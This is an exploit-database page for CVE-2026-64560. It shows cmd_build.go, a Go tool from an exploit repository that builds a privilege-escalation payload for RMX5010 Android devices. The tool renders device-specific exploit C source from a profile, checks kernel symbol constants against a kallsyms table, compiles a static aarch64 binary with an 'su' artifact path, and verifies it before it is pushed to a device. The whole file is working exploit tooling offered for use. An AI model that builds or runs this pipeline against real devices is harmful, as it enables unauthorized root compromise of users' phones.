Exploit databaseDownload repository ZIP
GH-3e69e2c88abcb252c1d84d1c127cacee
totsiaw/cve-2026-64560-rmx6699
Sources for CVE-2026-64560
18 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files12
totsiaw/cve-2026-64560-rmx6699Revision ee1d1eefe29b
- ↑..Parent directory
- cmd_build.go
- cmd_campaign.go
- cmd_campaign_group_unix.go
- cmd_campaign_group_windows.go
- cmd_derive.go
- cmd_derive_facts.go
- cmd_kallsyms.go
- cmd_ksym.go
- cmd_patch.go
- cmd_render.go
- go.mod
- main.go
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
gotool/cmd_build.go
Go · 22,084 bytespackage main
// build is the Go port of tools/build-a16.py: the one-shot rebuild of the
// RMX5010 / A16 fan-out payload.
//
// cve64560 build # render + patch + compile + verify
// cve64560 build --no-build # render + patch only
// cve64560 build --preflight # then run the built binary with --preflight
// cve64560 build --cc clang # pick a compiler
//
// Pipeline
//
// 1. render --profile profiles/rmx5010/rmx5010-40850e5ff6a5.json (the
// profile becomes the device-specific source src/exploit-fanout-rmx5010.c);
// 2. patch --verify every constant against symbols/symbols_rmx5010_a16.json
// and apply the two musl/device adaptations
// -> build/rmx5010-a16/exploit-rmx5010-a16.c;
// 3. compile that together with tools/bionic_compat.c into a *static*
// aarch64 binary -> build/rmx5010-a16/cve-2026-64560-fanout.
//
// Everything runs IN PROCESS: steps 1 and 2 are the sibling entry points
// runRender and runPatch, never a fork of python3. A sibling that is still an
// unported stub returns 3, which is reported as such instead of surfacing as a
// confusing downstream error.
//
// No NDK and no Android toolchain are needed: the source only uses bionic's
// __system_property_get(), which tools/bionic_compat.c replaces with a
// fork/exec of /system/bin/getprop. Everything else is POSIX + raw syscalls, so
// a musl or glibc aarch64 gcc produces a binary the device will run as-is.
//
// Deviations from the Python CLI, all deliberate:
//
// - --root <dir> (new): the repository root, discovered the same way `patch`
// discovers it when the flag is absent.
// - --profile <path> (new): selects the profile that step 1 renders. The
// default is the RMX5010/A16 profile tools/build-a16.py hard-codes. The
// rendered source, the patched source and the output binary take the paths
// the profile declares for itself (its port output and its su artefact
// directory), so two profiles no longer overwrite each other's payload.
// - --out-dir <dir> (new): overrides the output directory derived from the
// profile; --rendered overrides the rendered source path.
// - The kallsyms table is chosen per profile: the A16 table for the built-in
// profile, <profile>-specific symbols_*.json for every other one. A
// non-default profile with no table is a build error, never a payload
// verified only against the A16 landmarks.
// - The ELF verification *fails* (exit 1) when the artefact is not a static
// aarch64 binary; the Python tool only warned. The diagnostics themselves
// are the Python tool's.
// - tools/port_target.py and tools/patch_a16.py do not have to exist: they
// are the Python implementations this binary replaces. The files the
// compile actually needs (tools/bionic_compat.c/.h) are checked instead.
import (
"bytes"
"crypto/sha256"
"encoding/binary"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"io"
"os"
"os/exec"
"path/filepath"
"strings"
)
const buildCommandName = "cve64560 build"
// Repository-relative defaults (build-a16.py: REPO = HERE.parent).
const (
buildBuildDirRel = "build/rmx5010-a16"
buildProfileRel = "profiles/rmx5010/rmx5010-40850e5ff6a5.json"
buildRenderedRel = "src/exploit-fanout-rmx5010.c"
buildPatchedRel = buildBuildDirRel + "/exploit-rmx5010-a16.c"
buildOutputRel = buildBuildDirRel + "/" + buildOutputBase
// buildOutputBase is the payload's file name inside the build directory.
buildOutputBase = "cve-2026-64560-fanout"
buildCompatRel = "tools/bionic_compat.c"
buildHeaderRel = "tools/bionic_compat.h"
buildPrebuiltRel = "bin/cve-2026-64560-fanout-rmx5010-a16"
)
// buildCFlags and buildCCNames mirror build-a16.py's CFLAGS and CANDIDATES.
var buildCFlags = []string{"-O2", "-static", "-pthread", "-s"}
var buildCCNames = []string{"aarch64-linux-gnu-gcc", "gcc", "cc", "clang"}
// e_machine values of the architectures the Python tool knows by name, plus the
// AArch64 value the payload must have.
const (
buildEmAArch64 = 0xb7
buildEmX86_64 = 0x3e
buildEmARM = 0x28
)
// buildLog prints build-a16.py's "[build-a16] <msg>" lines.
func buildLog(format string, a ...any) {
fmt.Printf("[build-a16] "+format+"\n", a...)
}
// buildDisplay renders a path relative to the repository root when it lives
// underneath it (Python's path.relative_to(REPO)), otherwise absolute.
func buildDisplay(root, path string) string {
if rel, err := filepath.Rel(root, path); err == nil && rel != ".." &&
!strings.HasPrefix(rel, ".."+string(filepath.Separator)) {
return filepath.ToSlash(rel)
}
return path
}
// buildPickCC reproduces build-a16.py's pick_cc(): --cc, then $CC, then
// aarch64-linux-gnu-gcc/gcc/cc/clang, each resolved through PATH.
func buildPickCC(explicit string) (string, error) {
if explicit != "" {
path, err := exec.LookPath(explicit)
if err != nil {
return "", fmt.Errorf("compiler not found: %s", explicit)
}
return path, nil
}
if env := os.Getenv("CC"); env != "" {
if path, err := exec.LookPath(env); err == nil {
return path, nil
}
}
for _, name := range buildCCNames {
if path, err := exec.LookPath(name); err == nil {
return path, nil
}
}
return "", fmt.Errorf("no C compiler found (looked for: %s). Install gcc/clang, "+
"or use the prebuilt\n %s", strings.Join(buildCCNames, ", "), buildPrebuiltRel)
}
// buildElfInfo is describe_elf()'s result.
type buildElfInfo struct {
bits int
machine uint16
etype uint16
interp bool
dynamic bool
machineName string
typeName string
}
// buildDescribeElf parses an ELF header without the `file` tool, byte for byte
// like build-a16.py's describe_elf(): the 64-bit header layout is assumed (this
// tool only ever produces 64-bit artefacts) and the program header walk uses
// the ELF64 offsets. A non-ELF file yields (nil, nil), like the Python `None`.
func buildDescribeElf(data []byte) (*buildElfInfo, error) {
if len(data) < 64 || !bytes.Equal(data[:4], []byte{0x7f, 'E', 'L', 'F'}) {
return nil, nil
}
little := data[5] == 1
order := binary.ByteOrder(binary.LittleEndian)
if !little {
order = binary.BigEndian
}
info := &buildElfInfo{
bits: 32,
etype: order.Uint16(data[16:18]),
machine: order.Uint16(data[18:20]),
}
if data[4] == 2 {
info.bits = 64
}
names := map[uint16]string{
buildEmX86_64: "x86-64",
buildEmAArch64: "AArch64",
buildEmARM: "ARM",
}
types := map[uint16]string{2: "EXEC", 3: "DYN"}
if name, ok := names[info.machine]; ok {
info.machineName = name
} else {
info.machineName = fmt.Sprintf("%#x", info.machine)
}
if name, ok := types[info.etype]; ok {
info.typeName = name
} else {
info.typeName = fmt.Sprintf("%#x", info.etype)
}
phoff := order.Uint64(data[32:40])
phentsize := int(order.Uint16(data[54:56]))
phnum := int(order.Uint16(data[56:58]))
for i := 0; i < phnum; i++ {
off := int(phoff) + i*phentsize
if off < 0 || off+4 > len(data) {
break // truncated header: report what could be read
}
switch order.Uint32(data[off : off+4]) {
case 2: // PT_DYNAMIC
info.dynamic = true
case 3: // PT_INTERP
info.interp = true
}
}
return info, nil
}
// buildVerifyElf is build-a16.py's verify(): size, sha256 and the ELF facts,
// with the Python tool's diagnostics. Unlike the Python tool a failed assertion
// is fatal, because a payload the device cannot run must not be reported as a
// successful build.
func buildVerifyElf(root, output string) (string, error) {
if !patchIsFile(output) {
return "", fmt.Errorf("build produced no file: %s", output)
}
data, err := os.ReadFile(output)
if err != nil {
return "", err
}
info, err := buildDescribeElf(data)
if err != nil {
return "", err
}
if info == nil {
return "", fmt.Errorf("not an ELF file: %s", output)
}
digest := sha256.Sum256(data)
hexDigest := hex.EncodeToString(digest[:])
buildLog("%s %d bytes sha256=%s", buildDisplay(root, output), len(data), hexDigest)
buildLog("ELF%d %s %s PT_INTERP=%t PT_DYNAMIC=%t",
info.bits, info.machineName, info.typeName, info.interp, info.dynamic)
var failures []string
if info.machineName != "AArch64" {
buildLog("WARNING: not an aarch64 binary -- the device will not run it")
failures = append(failures, fmt.Sprintf("e_machine=%s, want AArch64 (%#x)",
info.machineName, buildEmAArch64))
}
if info.interp || info.dynamic {
buildLog("WARNING: not fully static -- the device has no matching loader, " +
"push it anyway and check with `ldd`/run")
failures = append(failures, fmt.Sprintf("PT_INTERP=%t PT_DYNAMIC=%t, want a static binary",
info.interp, info.dynamic))
}
if len(failures) > 0 {
return hexDigest, fmt.Errorf("ELF verification failed (%s): rebuild with an "+
"aarch64 gcc and -static, or use the prebuilt\n %s",
strings.Join(failures, "; "), buildPrebuiltRel)
}
return hexDigest, nil
}
// buildPipelineResult carries the paths the pipeline resolved.
type buildPipelineResult struct {
root string
profile string
rendered string
patched string
output string
}
// buildRender runs step 1 in process. 3 means "still a stub".
func buildRender(profileArg, root string) error {
rc := runRender([]string{"--profile", profileArg, "--root", root})
if rc == 3 {
return fmt.Errorf("the render command is not implemented in this build " +
"(stub returned 3): cannot turn the profile into source in process")
}
if rc != 0 {
fmt.Fprintf(os.Stderr, "port_target.py failed (profile -> source)\n")
if rc != 1 {
fmt.Fprintf(os.Stderr, "%s: render exited %d\n", buildCommandName, rc)
}
return errBuildAbort
}
return nil
}
// buildPatch runs step 2 in process. 3 means "still a stub".
func buildPatch(res buildPipelineResult, symbols string) error {
// --profile tells the patcher which port.link / port.direct landmarks this
// source has to satisfy: the .data list cycle has no symbol, so without it
// a non-A16 profile would be checked against the A16 layout.
args := []string{"--root", res.root, "--symbols", symbols,
"--source", res.rendered, "--out", res.patched}
if res.profile != "" {
args = append(args, "--profile", res.profile)
}
rc := runPatch(args)
if rc == 3 {
return fmt.Errorf("the patch command is not implemented in this build " +
"(stub returned 3): cannot adapt the source in process")
}
if rc != 0 {
fmt.Fprintf(os.Stderr, "patcher failed\n")
if rc != 1 {
fmt.Fprintf(os.Stderr, "%s: patch exited %d\n", buildCommandName, rc)
}
return errBuildAbort
}
return nil
}
// errBuildAbort marks a failure whose message was already printed (the Python
// SystemExit strings).
var errBuildAbort = fmt.Errorf("aborted")
// buildCompile is step 3: <cc> <CFLAGS> -I tools -o <out> <patched.c>
// tools/bionic_compat.c, run from the repository root.
func buildCompile(cc string, res buildPipelineResult) error {
args := append([]string{}, buildCFlags...)
args = append(args,
"-I", buildDisplay(res.root, filepath.Join(res.root, "tools")),
"-o", buildDisplay(res.root, res.output),
buildDisplay(res.root, res.patched),
buildDisplay(res.root, filepath.FromSlash(buildCompatRel)))
buildLog("$ " + strings.Join(append([]string{cc}, args...), " "))
cmd := exec.Command(cc, args...)
cmd.Dir = res.root
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
return fmt.Errorf("compile failed (see the compiler output above): %v", err)
}
return nil
}
// buildPreflight runs the freshly built payload with --preflight only. That is
// the read-only gate check; build never passes --run.
func buildPreflight(res buildPipelineResult) {
buildLog("running --preflight (read-only; safe on a host)")
cmd := exec.Command(res.output)
cmd.Args = []string{res.output, "--preflight"}
cmd.Dir = res.root
cmd.Stdout = os.Stdout
cmd.Stderr = os.Stderr
if err := cmd.Run(); err != nil {
buildLog("WARNING: --preflight did not exit cleanly: %v", err)
}
}
func buildUsage(w io.Writer) {
fmt.Fprintf(w, `usage: cve64560 build [--cc <compiler>] [--no-build] [--preflight]
[--profile <profile.json>] [--root <dir>]
One-shot rebuild of the RMX5010/A16 fan-out payload (Go port of
tools/build-a16.py) -- render, patch, compile and verify, all in process:
1. render <profile> -> src/exploit-fanout-rmx5010.c
2. patch verify every constant, adapt for musl/this device
-> build/rmx5010-a16/exploit-rmx5010-a16.c
3. compile <cc> -O2 -static -pthread -s -I tools -o
build/rmx5010-a16/cve-2026-64560-fanout <patched.c>
tools/bionic_compat.c
4. verify ELF header in Go: e_machine must be AArch64, PT_INTERP must be
absent (static); size + sha256 are printed.
options:
--cc <compiler> compiler to use (default: $CC, then
aarch64-linux-gnu-gcc/gcc/cc/clang)
--no-build run the renderer + patcher only
--preflight run the built binary with --preflight afterwards
--profile <path> profile to render (default:
<root>/profiles/rmx5010/rmx5010-40850e5ff6a5.json)
--root <dir> repository root (default: the nearest ancestor of the
working directory that looks like this repository, else
the working directory)
-h, --help show this help and exit
`)
}
// runBuild implements `cve64560 build`, the port of tools/build-a16.py.
func runBuild(args []string) int {
for _, arg := range args {
if arg == "-h" || arg == "-help" || arg == "--help" {
buildUsage(os.Stdout)
return 0
}
}
fs := flag.NewFlagSet("build", flag.ContinueOnError)
fs.SetOutput(os.Stderr)
ccFlag := fs.String("cc", "", "compiler to use")
noBuildFlag := fs.Bool("no-build", false, "run the patcher only")
preflightFlag := fs.Bool("preflight", false, "run the built binary --preflight")
profileFlag := fs.String("profile", "", "profile to render")
rootFlag := fs.String("root", "", "repository root")
outDirFlag := fs.String("out-dir", "", "directory for the patched source and the payload (default: from the profile)")
renderedFlag := fs.String("rendered", "", "rendered source to patch (default: from the profile)")
fs.Usage = func() { buildUsage(os.Stderr) }
if err := fs.Parse(args); err != nil {
if err == flag.ErrHelp {
buildUsage(os.Stdout)
return 0
}
return 2
}
if extra := fs.Args(); len(extra) > 0 {
fmt.Fprintf(os.Stderr, "%s: unrecognized arguments: %s\n", buildCommandName, strings.Join(extra, " "))
buildUsage(os.Stderr)
return 2
}
root := patchRepoRoot(*rootFlag)
profile := patchResolve(root, *profileFlag, buildProfileRel)
// Nothing in this pipeline is A16 specific. Take the paths the profile
// declares for itself: they used to be hard-coded, so every profile wrote
// build/rmx5010-a16/cve-2026-64560-fanout and the last build silently
// replaced the others. --rendered / --out-dir override them.
profRendered, profBuildDir := buildProfilePaths(profile)
renderedRel, buildDirRel := buildRenderedRel, buildBuildDirRel
if profRendered != "" {
renderedRel = profRendered
}
if profBuildDir != "" {
buildDirRel = profBuildDir
}
if *renderedFlag != "" {
renderedRel = filepath.ToSlash(*renderedFlag)
}
if *outDirFlag != "" {
buildDirRel = filepath.ToSlash(*outDirFlag)
}
patchedRel := buildDirRel + "/" + filepath.Base(renderedRel)
outputRel := buildDirRel + "/" + buildOutputBase
// Every profile is cross-checked against its OWN kallsyms table. Feeding
// another target's constants to the A16 table (or, worse, the symbol-free
// A16 landmarks) reports a mismatch that says nothing about the source, and
// silently skipping the check would ship a payload nobody verified. So a
// missing table is a hard error with the command that produces one.
symbolsRel := patchSymbolsRel
if !buildIsDefaultProfile(root, profile) {
var candidates []string
symbolsRel, candidates = buildSymbolsPath(root, profile)
if symbolsRel == "" {
// buildSymbolsPath always returns at least one candidate, so the
// last entry is the one the error message offers to grep for.
return buildFail(fmt.Errorf("profile %s: no kallsyms table for this target, tried %s - its constants cannot be cross-checked, so the payload is not built; extract one with 'cve64560 kallsyms <Image> > %s'",
buildDisplay(root, profile), strings.Join(buildDisplays(root, candidates), ", "),
buildDisplay(root, candidates[len(candidates)-1])))
}
}
// Both tables ship with the repository, so a missing one is an accident, not
// a normal state: building anyway would stamp a payload whose constants
// nobody checked.
if !patchIsFile(symbolsRel) {
return buildFail(fmt.Errorf("no kallsyms table at %s: the payload would be built without the symbol cross-check, which is exactly how a stale constant reaches a device; extract one with 'cve64560 kallsyms <Image> > %s'",
buildDisplay(root, symbolsRel), buildDisplay(root, symbolsRel)))
}
res := buildPipelineResult{
root: root,
profile: profile,
rendered: patchResolve(root, "", renderedRel),
patched: patchResolve(root, "", patchedRel),
output: patchResolve(root, "", outputRel),
}
// 1. render -------------------------------------------------------------
if !patchIsFile(profile) {
fmt.Fprintf(os.Stderr, "missing file: %s\n", profile)
return 1
}
if *profileFlag != "" && !buildIsDefaultProfile(root, profile) {
buildLog("profile %s: patching %s -> %s", buildDisplay(root, profile),
buildDisplay(root, renderedRel), buildDisplay(root, patchedRel))
}
if err := buildRender(profile, root); err != nil {
return buildFail(err)
}
if !patchIsFile(res.rendered) {
fmt.Fprintf(os.Stderr, "render produced no file: %s\n", res.rendered)
return 1
}
buildLog("rendered %s (%d bytes)", buildDisplay(root, res.rendered), buildFileSize(res.rendered))
// 2. patch --------------------------------------------------------------
for _, needed := range []string{buildCompatRel, buildHeaderRel} {
path := patchResolve(root, "", needed)
if !patchIsFile(path) {
fmt.Fprintf(os.Stderr, "missing file: %s\n", path)
return 1
}
}
if err := buildPatch(res, symbolsRel); err != nil {
return buildFail(err)
}
if *noBuildFlag {
buildLog("patched source: %s", res.patched)
return 0
}
// 3. compile ------------------------------------------------------------
cc, err := buildPickCC(*ccFlag)
if err != nil {
fmt.Fprintf(os.Stderr, "%s: %v\n", buildCommandName, err)
return 1
}
buildLog("compiler: %s", cc)
if err := buildCompile(cc, res); err != nil {
return buildFail(err)
}
// 4. verify -------------------------------------------------------------
if _, err := buildVerifyElf(root, res.output); err != nil {
fmt.Fprintf(os.Stderr, "%s: %v\n", buildCommandName, err)
return 1
}
if *preflightFlag {
buildPreflight(res)
}
return 0
}
// buildFail reports an error; an already-reported abort keeps Python's exit 1.
func buildFail(err error) int {
if err != errBuildAbort {
fmt.Fprintf(os.Stderr, "%s: %v\n", buildCommandName, err)
}
return 1
}
func buildFileSize(path string) int64 {
info, err := os.Stat(path)
if err != nil {
return 0
}
return info.Size()
}
// buildIsDefaultProfile reports whether profile is the built-in RMX5010/A16
// profile (compared through the file identity, so a copy of it is recognised).
func buildIsDefaultProfile(root, profile string) bool {
def := patchResolve(root, "", buildProfileRel)
if profile == def || filepath.Clean(profile) == filepath.Clean(def) {
return true
}
want, err := os.ReadFile(def)
if err != nil {
return false
}
got, err := os.ReadFile(profile)
if err != nil {
return false
}
return bytes.Equal(want, got)
}
// buildSymbolsPath finds the kallsyms table that belongs to a non-default
// profile. Candidates, in order, beside the A16 table:
//
// symbols/symbols_<profile dir>_<profile base>.json symbols_op13_bca736de6db3.json
// symbols/symbols_<profile base>.json symbols_bca736de6db3.json
//
// It returns the first existing file and the full candidate list, or an empty
// path (so the caller can name every place it looked) when none of them exists.
func buildSymbolsPath(root, profile string) (string, []string) {
base := strings.TrimSuffix(filepath.Base(profile), ".json")
candidates := make([]string, 0, 2)
if dir := filepath.Base(filepath.Dir(profile)); dir != "" && dir != "." &&
dir != string(filepath.Separator) {
candidates = append(candidates, patchResolve(root, "", "symbols/symbols_"+dir+"_"+base+".json"))
}
candidates = append(candidates, patchResolve(root, "", "symbols/symbols_"+base+".json"))
for _, candidate := range candidates {
if patchIsFile(candidate) {
return candidate, candidates
}
}
return "", candidates
}
// buildDisplays maps a candidate list through buildDisplay for error messages.
func buildDisplays(root string, paths []string) []string {
out := make([]string, 0, len(paths))
for _, path := range paths {
out = append(out, buildDisplay(root, path))
}
return out
}
// buildProfilePaths returns the rendered source and the build directory that a
// profile declares for itself. Empty strings mean "not declared". Deriving
// them here keeps two profiles from overwriting each other's payload; the
// A16 values in the constants above remain the fallback.
func buildProfilePaths(profile string) (rendered, buildDir string) {
data, err := os.ReadFile(profile)
if err != nil {
return "", ""
}
var doc struct {
Port struct {
Outputs []struct {
Path string `json:"path"`
} `json:"outputs"`
} `json:"port"`
Artifacts struct {
SU struct {
Path string `json:"path"`
} `json:"su"`
} `json:"artifacts"`
}
if err := json.Unmarshal(data, &doc); err != nil {
return "", ""
}
if len(doc.Port.Outputs) > 0 {
rendered = filepath.ToSlash(doc.Port.Outputs[0].Path)
}
if doc.Artifacts.SU.Path != "" {
buildDir = filepath.ToSlash(filepath.Dir(doc.Artifacts.SU.Path))
}
return rendered, buildDir
}